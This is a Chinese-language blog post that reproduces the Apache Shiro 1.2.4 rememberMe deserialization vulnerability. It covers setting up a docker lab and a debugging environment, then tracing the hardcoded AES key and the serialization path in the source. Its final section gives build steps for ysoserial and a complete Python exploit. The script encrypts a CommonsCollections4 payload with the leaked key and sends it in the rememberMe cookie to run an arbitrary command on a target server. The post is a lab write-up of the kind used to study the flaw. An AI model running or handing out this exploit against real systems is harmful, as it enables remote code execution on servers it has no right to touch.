0%

shiro漏洞复现

shiro 反序列化复现

0x00

shiro特征:在Cookie中存在RemenberMe的字段,一般对应的就是登陆口的记住我的地方。只要RememberMeAES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

这里用docker环境进行漏洞快速复现,本地搭建环境进行调试分析。本地利用环境为shiro1.2.4

0x01 环境搭建

漏洞环境搭建

1
2
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

访问http:ip:80既可以看到漏洞环境

调试环境搭建

漏洞环境:win10+IDEA+maven3.2.5+jdk1.6+shiro1.2.4

命令行环境下载

1
2
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4

也可以直接在release处下载

然后用IDEA打开./shiro1_2_4/samples/web文件夹

此时IDEA会在右侧提醒下载maven。这里也可以自行下载maven然后IDEA中进行配置。

推荐自行下载,环境搭建时踩的一个坑:需要jdk1.6,然而只有maven3.5一下的才支持jdk1.6。这里为什么会这样我也不是很清楚

jdk的配置这里就不说了,说一下maven的配置

1
File->setting->Buid,Execution,Deployment->Bulid Tools->Maven

配置完后,IDEA会进行maven的一些依赖包下载到配置的Local repository中。

在下载过程中我们需要配置几个xml文件

./pom.xml中添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
     <properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
.....
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>

~/.m2/目录下添加toolchains.xml文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>

<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">

<!--插入下面代码-->
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<!--这里是你安装jdk的文件目录-->
<jdkHome>xxx/xxx/1.6.0.jdk/</jdkHome>
</configuration>
</toolchain>
</toolchains>

IDEA配置tomcat中间件

  1. Run
  2. Edit Configurations
  3. 添加Tomcat Server(Local)
  4. Server中配置Tomcat路径
  5. Deployment中添加Artifact
  6. 选择sample-web:war exploded

看到这个界面,环境便是搭建成功了

0x02 漏洞分析

官网的issue上看到,存在几个重要的点:

  • rememberMe cookie
  • CookieRememberMeManager.java
  • Base64
  • AES
  • 加密密钥硬编码
  • Java serialization

这里我们去看代码主要就是去找cookie以及加解密部分

直接全局搜索CookieRememberMeManager

进入CookieRememberMeManager.java文件,浏览完全部,并没有看见存在AES的密钥,进入它的父类看

这里的Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")字符可以肯定是密钥。

AES中除了密钥以外,还需要知道mod(加解密算法),以及vi(初始化向量),我们继续看AbstractRememberMeManager.java中的内容

在469行可以见到

encrypt方法进行跟踪阅读,下断点,看数据走向。在跟踪过程我们可以看到

mod为CBC

随机获取iv

我们接着跟踪调试,在JcaCipherService.java:316的encrypt方法中可以知道机密过程

从这里我们可以知道在进行加密时,是前16位填充的就是我们随机获得iv值,这样的话。

同理我们在这下面查看decrypt方法发现,解密也是这样提取获取iv,这样的话我们就可以通过脚本随机生成16位iv即可。

接下来是要关注的就是序列化了,在AbstractRememberMeManager:359中我们可以发现一下代码

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

可以发现该方法的形参是PrincipalCollection对象,进入PrincipalCollection类发现它是一个接口,进行全局搜索查看PrincipalCollection接口实现,并没有搜到实现,于是搜一下继承,发现

可以发现也是一个接口,然后搜索implements MutablePrincipalCollection

进入查看,发现最后存在writeObjectreadObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
boolean principalsExist = !CollectionUtils.isEmpty(realmPrincipals);
out.writeBoolean(principalsExist);
if (principalsExist) {
out.writeObject(realmPrincipals);
}
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
boolean principalsExist = in.readBoolean();
if (principalsExist) {
this.realmPrincipals = (Map<String, Set>) in.readObject();
}
}

就此造成反序列化漏洞

0x03 漏洞利用

获取产生payloadysoserial

1
2
3
4
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
生成的jar包: target/ysoserial-0.0.5-SNAPSHOT-all.jar

嫖一个exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# coding=gbk
import os
import re
import sys
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = 'xxx\\xxx\\xxx\\ysoserial-0.0.6-SNAPSHOT-all.jar'


def poc(url, rce_command):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE) # 生成payload
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求
print r.text
except Exception, e:
pass
return False


def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections4', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
#http://www.jackson-t.ca/runtime-exec-payloads.html
print(sys.argv)
poc(sys.argv[1], sys.argv[2])

0x04 Reference

https://paper.seebug.org/shiro-rememberme-1-2-4/

[http://redteam.today/2019/09/20/shiro%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%8D%E7%8E%B0/](http://redteam.today/2019/09/20/shiro 反序列化复现/)